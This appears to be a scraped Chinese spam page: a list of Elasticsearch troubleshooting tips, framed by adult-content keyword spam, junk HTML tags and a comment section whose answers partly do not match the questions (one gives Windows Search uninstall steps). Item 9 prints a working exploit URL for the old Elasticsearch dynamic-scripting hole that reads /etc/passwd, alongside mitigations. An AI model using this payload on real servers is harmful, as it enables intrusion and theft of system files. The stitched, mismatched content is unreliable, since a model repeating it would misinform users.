www.tjgcgs88.cn-狠狠久久亚洲欧美专区不卡,久久精品国产99久久无毒不卡,噼里啪啦国语版在线观看,zσzσzσ女人极品另类

  • <strike id="qgi8o"><td id="qgi8o"></td></strike>
  • <ul id="qgi8o"><acronym id="qgi8o"></acronym></ul>
  • <li id="qgi8o"></li>
    <ul id="qgi8o"></ul>
    <strike id="qgi8o"><rt id="qgi8o"></rt></strike>
    <ul id="qgi8o"><center id="qgi8o"></center></ul>
  • <kbd id="qgi8o"></kbd>

    elasticsearch 為什么副本數(shù)多了 性能反而下降了 如何修改elasticsearch中默認副本數(shù)量

    1.由gc引起節(jié)點脫離集群
    因為gc時會使jvm停止工作,如果某個節(jié)點gc時間過長,master ping3次(zen discovery默認ping失敗重試3次)不通后就會把該節(jié)點剔除出集群,從而導致索引進行重新分配。
    解決方法:
    (1)優(yōu)化gc,減少gc時間。(2)調大zen discovery的重試次數(shù)(es參數(shù):ping_retries)和超時時間(es參數(shù):ping_timeout)。后來發(fā)現(xiàn)根本原因是有個節(jié)點的系統(tǒng)所在硬盤滿了。導致系統(tǒng)性能下降。

    2.out of memory錯誤
    因為默認情況下es對字段數(shù)據(jù)緩存(Field Data Cache)大小是無限制的,查詢時會把字段值放到內存,特別是facet查詢,對內存要求非常高,它會把結果都放在內存,然后進行排序等操作,一直使用內存,直到內存用完,當內存不夠用時就有可能出現(xiàn)out of memory錯誤。
    解決方法:
    (1)設置es的緩存類型為Soft Reference,它的主要特點是據(jù)有較強的引用功能。只有當內存不夠的時候,才進行回收這類內存,因此在內存足夠的時候,它們通常不被回收。另外,這些引 用對象還能保證在Java拋出OutOfMemory 異常之前,被設置為null。它可以用于實現(xiàn)一些常用圖片的緩存,實現(xiàn)Cache的功能,保證最大限度的使用內存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。
    (2)設置es最大緩存數(shù)據(jù)條數(shù)和緩存失效時間,通過設置index.cache.field.max_size: 50000來把緩存field的最大值設置為50000,設置index.cache.field.expire: 10m把過期時間設置成10分鐘。

    3.無法創(chuàng)建本地線程問題
    es恢復時報錯: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]
    剛開始以為是文件句柄數(shù)限制,但想到之前報的是too many open file這個錯誤,并且也把數(shù)據(jù)改大了。查資料得知一個進程的jvm進程的最大線程數(shù)為:虛擬內存/(堆棧大小*1024*1024),也就是說虛擬內存越大或堆棧越小,能創(chuàng)建的線程越多。重新設置后還是會報那這錯,按理說可創(chuàng)建線程數(shù)完全夠用了的,就想是不是系統(tǒng)的一些限制。后來在網(wǎng)上找到說是max user processes的問題,這個值默認是1024,這個參數(shù)單看名字是用戶最大打開的進程數(shù),但看官方說明,就是用戶最多可創(chuàng)建線程數(shù),因為一個進程最少有一個線程,所以間接影響到最大進程數(shù)。調大這個參數(shù)后就沒有報這個錯了。
    解決方法:
    (1)增大jvm的heap內存或降低xss堆棧大小(默認的是512K)。
    (2)打開/etc/security/limits.conf ,把soft nproc 1024這行的1024改大就行了。

    4.集群狀態(tài)為黃色時并發(fā)插入數(shù)據(jù)報錯
    [7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]
    這是錯誤信息,當時集群狀態(tài)為黃色,即副本沒有分配。當時副本設置為2,只有一個節(jié)點,當你設置的副本大于可分配的機器時,此時如果你插入數(shù)據(jù)就有可能報上面的錯,因為es的寫一致性默認是使用quorum,即quorum值必須大于(副本數(shù)/2+1),我這里2/2+1=2也就是說要要至少插入到兩份索引中,由于只有一個節(jié)點,quorum等于1,所以只插入到主索引,副本找不到從而報上面那個錯。
    解決方法:(1)去掉沒分配的副本。(2)把寫一致性改成one,即只寫入一份索引就行。

    5.設置jvm鎖住內存時啟動警告
    當設置bootstrap.mlockall: true時,啟動es報警告Unknown mlockall error 0,因為linux系統(tǒng)默認能讓進程鎖住的內存為45k。
    解決方法:設置為無限制,linux命令:ulimit -l unlimited

    6.錯誤使用api導致集群卡死
    其實這個是很低級的錯誤。功能就是更新一些數(shù)據(jù),可能會對一些數(shù)據(jù)進行刪除,但刪除時同事使用了deleteByQuery這個接口,通過構造BoolQuery把要刪除數(shù)據(jù)的id傳進去,查出這些數(shù)據(jù)刪除。但問題是BoolQuery最多只支持1024個條件,100個條件都已經(jīng)很多了,所以這樣的查詢一下子就把es集群卡死了。
    解決方法:用bulkRequest進行批量刪除操作。

    7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream
    原因:es節(jié)點之間的JDK版本不一樣
    解決方法:統(tǒng)一JDK環(huán)境

    8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available
    1) 端口錯
    client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));
    這里9300 寫成9200的話會No node available
    要是你連的不是本機,注意IP有沒有正確
    2 )jar報引用版本不匹配,開啟的服務是什么版本,引用的jar最好匹配(這個我沒有去試,反正我的是匹配的)
    3) 要是你改了集群名字,還有設置集群名字
    Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build();
    client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));
    4)集群超過5s沒有響應
    解決方法1.設置client.transport.ping_timeout設大
    2.代碼內加入while (true) {
    try {
    bulk.execute().actionGet(getRetryTimeout());
    break;
    }
    catch (NoNodeAvailableException cont) {
    Thread.sleep(5000);
    continue;
    }
    }
    9.elasticsearch 近日被發(fā)現(xiàn)漏洞,可以遠程執(zhí)行任意代碼,由于 elasticsearch提供了http接口,導致可能通過CSRF等方式借助惡意頁面瀏覽發(fā)生攻擊。
    漏洞影響版本:
    elasticsearch 1.2以下

    測試代碼:
    http:// ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&_=1400571156309
    瀏覽器會返回/etc/passwd內容
    解決方案:
    1、在配置文件elasticsearch.yml里設置script.disable_dynamic: true
    2、嚴格限制可訪問elasticsearch服務的IP地址
    參考:
    http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

    重啟后報503錯誤
    詳情如此下:
    [2014-09-23 17:42:33,499][WARN ][transport.netty ] [Erik Magnus Lehnsherr] Message not fully read (request) for [4961353] and
    action [discovery/zen/join/validate], resetting
    [2014-09-23 17:42:33,522][INFO ][discovery.zen ] [Erik Magnus Lehnsherr] failed to send join request to master [[Red Lotus][
    UG2WbJpDTHOB-EjzJFRsow][n025.corp.ncfgroup.com][inet[/10.18.6.25:9300]]], reason [org.elasticsearch.transport.RemoteTransportException:
    [Red Lotus][inet[/10.18.6.25:9300]][discovery/zen/join]; org.elasticsearch.transport.RemoteTransportException: [Erik Magnus Lehnsherr]
    [inet[/10.18.6.90:9300]][discovery/zen/join/validate]; org.elasticsearch.ElasticsearchIllegalArgumentException: No custom index metadat
    a factory registered for type [rivers]]

    問題原因:都采用默認集群名字的話,不同人不同I配置發(fā)到集群會進行連接并選Master,有時候可能因為IP限制連接不上。
    更改:自己的測試服務盡量個性命名

    相關評說:

  • 超超19486914851: elasticsearch 在windows下怎么用 -
    衛(wèi)東區(qū)主視: ______ 首先,在任務欄里右鍵單擊它,選取尋出該軟件,之后到“控制面板”里打開“增加或刪掉程序”,找到“Windows Search 4.0”單擊刪掉,就可以了.,
  • 超超19486914851: logstash 為什么不將日志直接發(fā)送到elasticsearch 而是 redis -
    衛(wèi)東區(qū)主視: ______ shipper和Indexer都是logstash,只不過他們的配置文件不一樣.broker一般采用Redis,所有的shipper上的日志統(tǒng)一傳到redis中.indexer負責從broker中取數(shù)據(jù),并將它存儲到elasticsearch中.webinterface一般使用kibana,現(xiàn)在es中集成了kibana,但我們還是自己安裝它.
  • 超超19486914851: 如何設置elasticsearch集群 -
    衛(wèi)東區(qū)主視: ______ 集群就是由一個或多個節(jié)點組織在一起,它們共同持有你整個的數(shù)據(jù),并一起提供索引和搜索功能.一個集群由一個唯一的名字標識,這個名字默認就是“elasticsearch”.這個名字是重要的,因為一個節(jié)點只能通過指定某個集群的名字,來加入這個集群.在產品環(huán)境中顯式地設定這個名字是一個好習慣,但是使用默認值來進行測試/開發(fā)也是不錯的.
  • 超超19486914851: 如何搭建elasticsearch集群 -
    衛(wèi)東區(qū)主視: ______ 1.1. 基本配置 elasticsearch的config文件夾里面有兩個配置文 件:elasticsearch.yml和logging.yml,第一個是es的基本配置文件,第二個是日志配置文件,es也是使用log4j來記錄日 志的,所以logging.yml里的設置按普通log4j配置文件來設置就行了
  • 超超19486914851: mysql同步數(shù)據(jù)到elasticsearch用什么工具 -
    衛(wèi)東區(qū)主視: ______ 1.如何實現(xiàn)mysql與elasticsearch的數(shù)據(jù)同步? 逐條轉換為json顯然不合適,需要借助第三方工具或者自己實現(xiàn).核心功能點:同步增、刪、改、查同步. 2、mysql與elasticsearch同步的方法有哪些?優(yōu)缺點對比? 目前該領域比較牛的插件有: ...
  • 超超19486914851: 如何防止ElasticSearch集群出現(xiàn)腦裂現(xiàn)象 -
    衛(wèi)東區(qū)主視: ______ 避免腦裂現(xiàn)象,用到的一個參數(shù)是:discovery.zen.minimum_master_nodes.這個參數(shù)決定了要選舉一個Master需要多少個節(jié)點(最少候選節(jié)點數(shù)).默認值是1.根據(jù)一般經(jīng)驗這個一般設置成 N/2 + 1,N是集群中節(jié)點的數(shù)量,例如一個有3個節(jié)...
  • 超超19486914851: elasticsearch會自動創(chuàng)建很多索引么 -
    衛(wèi)東區(qū)主視: ______ Elasticsearch是一個高伸縮、高可用、基于ApacheLucene的開源搜索與分析引擎.通過它你可以很方便地對數(shù)據(jù)進行深入挖掘,可以隨時放大與縮小搜索與分析的區(qū)間,并且這一切都是實時的.為了提供了一個優(yōu)秀的用戶體驗,我們對...
  • 超超19486914851: 如何提高ElasticSearch 索引速度 -
    衛(wèi)東區(qū)主視: ______ 我Google了下,大致給出的答案如下:1、使用bulk API2、初次索引的時候,把 replica 設置為 03、增大 threadpool.index.queue_size4、增大 indices.memory.index_buffer_size5、增大 index.translog.flush_threshold_ops6、增大 index.translog....
  • 超超19486914851: elasticsearch 用什么語言開發(fā) -
    衛(wèi)東區(qū)主視: ______ Elasticsearch也使用Java開發(fā)并使用Lucene作為其核心來實現(xiàn)所有索引和搜索的功能,但是它的目的是通過簡單的RESTful API來隱藏Lucene的復雜性,從而讓全文搜索變得簡單.
  • 超超19486914851: elasticsearch took是什么意思 -
    衛(wèi)東區(qū)主視: ______ ElasticSearch是一個基于Lucene的搜索服務器.它提供了一個分布式多用戶能力的全文搜索引擎,基于RESTful web接口.Elasticsearch是用Java開發(fā)的,并作為Apache許可條款下的開放源碼發(fā)布,是當前流行的企業(yè)級搜索引擎.設計用于云計算中,能夠達到實時搜索,穩(wěn)定,可靠,快速,安裝使用方便.
  • 啊灬啊别停灬用力啊老师免费视频| 青柠影院免费观看电视剧高清8| 久久九九精品99国产精品| 久久精品国产亚洲不AV| 69SEX久久精品国产麻豆| a级毛片大学生AV观看| 亚洲欧美日韩专区一| 久久无码av一区二区三区电影网| 91精品国产乱码久久无码| 久久精品国产亚洲AV无码偷窥|